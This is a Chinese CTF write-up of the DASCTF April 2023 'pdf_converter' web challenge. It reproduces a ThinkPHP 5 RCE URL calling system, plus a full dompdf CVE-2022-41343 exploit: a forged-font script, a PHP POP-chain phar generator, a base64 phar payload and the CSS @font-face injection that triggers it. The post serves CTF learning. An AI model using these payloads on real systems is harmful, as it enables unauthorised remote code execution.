DASCTF Apr.2023 X SU战队2023开局之战-pdf_converter(_revenge)web-wp

发布时间 2023-12-05 16:47:54作者: Eddie_Murphy

继续刷题ing~

这次是追溯到今年四月的这个DASCTF首赛,闲来无事就看看打打复现啥的,争取多积累几个解题姿势。但后面题环境开不了,就先没打复现,难绷。

pdf_converter(_revenge)

进去感觉像Thinkphp,用个以前做过的报错payload试试能不能出版本:

/index.php?s=captcha

还真是。

直接去搜V5的RCE漏洞,一搜一大把,结果这个是非预期解,反斜杠实例化任意类直接出了:

ThinkPHP 5.x远程命令执行漏洞分析与复现 - 渗透测试中心 - 博客园 (cnblogs.com)

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

怪不得这么多人做出来。

revenge应该就是把这个非预期解ban掉了,看了看官方wp的预期解:官方Write Up|DASCTF Apr.2023 X SU战队2023开局之战 | CTF导航 (ctfiot.com)

用的thinkphp5+dompdf

漏洞是CVE-2022-41343:CVE-2022-41343 - RCE via Phar Deserialisation (tantosec.com)

有个pdf路由可以将html渲染成任意pdf文件。dompdf有专门对css格式做处理。

 

下载源码附件后,这里看到

dompdf/src/FontMetrics.php

当在css中注册font时,会将内容的缓存写到文件里:

这个目录为dompdf/lib/fonts,并且文件名可控

例如 我们传入

<style>
    @font-face {
        font-family:'exploit';
        src:url('data:text/plain;base64,exp');
        font-weight:'normal';
        font-style:'normal';
    }
</style>

则文件名为

exploit_norml_md5(data:text/plain;base64,exp).ttf

这里就有一个打phar反序列化的思路:

在dompdf/src/FontMetrics.php的registerFont方法里:

可以看到,虽然对协议有一些校验,但是没有return,只是报了warings,所以相当于没有校验,会来到下面@Helpers::getFileContent

dompdf/src/Helpers.php里:

很明显可以看到触发phar的地方。

但是注意的是,dompdf对字体文件头还是有校验的:

如果不符合ttf文件格式则直接return false。

这里可以用如下脚本生成一个font文件头:

import fontforge
import os
import sys
import tempfile
from typing import Optional

def main():
    sys.stdout.buffer.write(do_generate_font())

def do_generate_font() -> bytes:
    fd, fn = tempfile.mkstemp(suffix=".ttf")
    os.close(fd)
    font = fontforge.font()
    font.copyright = "DUMMY FONT"
    font.generate(fn)
    with open(fn, "rb") as f:
        res = f.read()
    os.unlink(fn)
    result = res
    return result

if __name__ == "__main__":
    main()

将结果保存在font.ttf

 

然后在生成phar文件的时候,添加$phar->setStub(file_get_contents("font.ttf").'<?php __HALT_COMPILER(); ?>');

<?php
namespace thinkprocesspipes{
    use thinkmodelPivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        {
            $this->files = [new Pivot($function,$parameter)];
        }
    }
//    $aaa = new Windows('system','whoami');
//    echo base64_encode(serialize($aaa));
}
namespace think{
    abstract class Model
    {}
}
namespace thinkmodel{
    use thinkModel;
    use thinkconsoleOutput;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relationBelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    {}
}
namespace thinkmodelrelation{
    use thinkdbQuery;
    use thinkmodelRelation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        {
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace thinkdb{
    use thinkconsoleOutput;
    class Query
    {
        protected $model;
        public function __construct($function,$parameter)
        {
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace thinkconsole{
    use thinksessiondriverMemcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace thinksessiondriver{
    use thinkcachedriverMemcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        {
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace thinkcachedriver{
    use thinkRequest;
    class Memcached
    {
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        {
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        {
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}

namespace{
    $a = new thinkprocesspipesWindows('system','cat /flag > /var/www/html/public/1.txt');
    @unlink("test.phar");
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    $phar->setStub(file_get_contents("font.ttf").'<?php __HALT_COMPILER(); ?>');
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();

    echo base64_encode(file_get_contents("test.phar"));
}

然后POST参数content:

<style>@font-face { font-family:'exploit'; src:url('data:text/plain;base64,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'); font-weight:'normal'; font-style:'normal';}</style>
<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_c87547a55b2617089f8e2d413c207323.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>

写文件那里改成bash反弹shell应该也是可以的。

也可以看大佬师傅的详细操作:DASCTF Apr.2023 X SU Writeup By AheadSec_末 初的博客-CSDN博客

反正如果是我目前的水平,肯定是做不出预期解的解法的????

 

还有道题目ezjxpath,漏洞点是CVE-2022-41852:CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析 - FreeBuf网络安全行业门户

具体复现我也没去打,因为Java安全这块确实没怎么入门,最多0xGame复现了一些,不过这也让我知道后面有时间确实需要关注一下Java安全这块。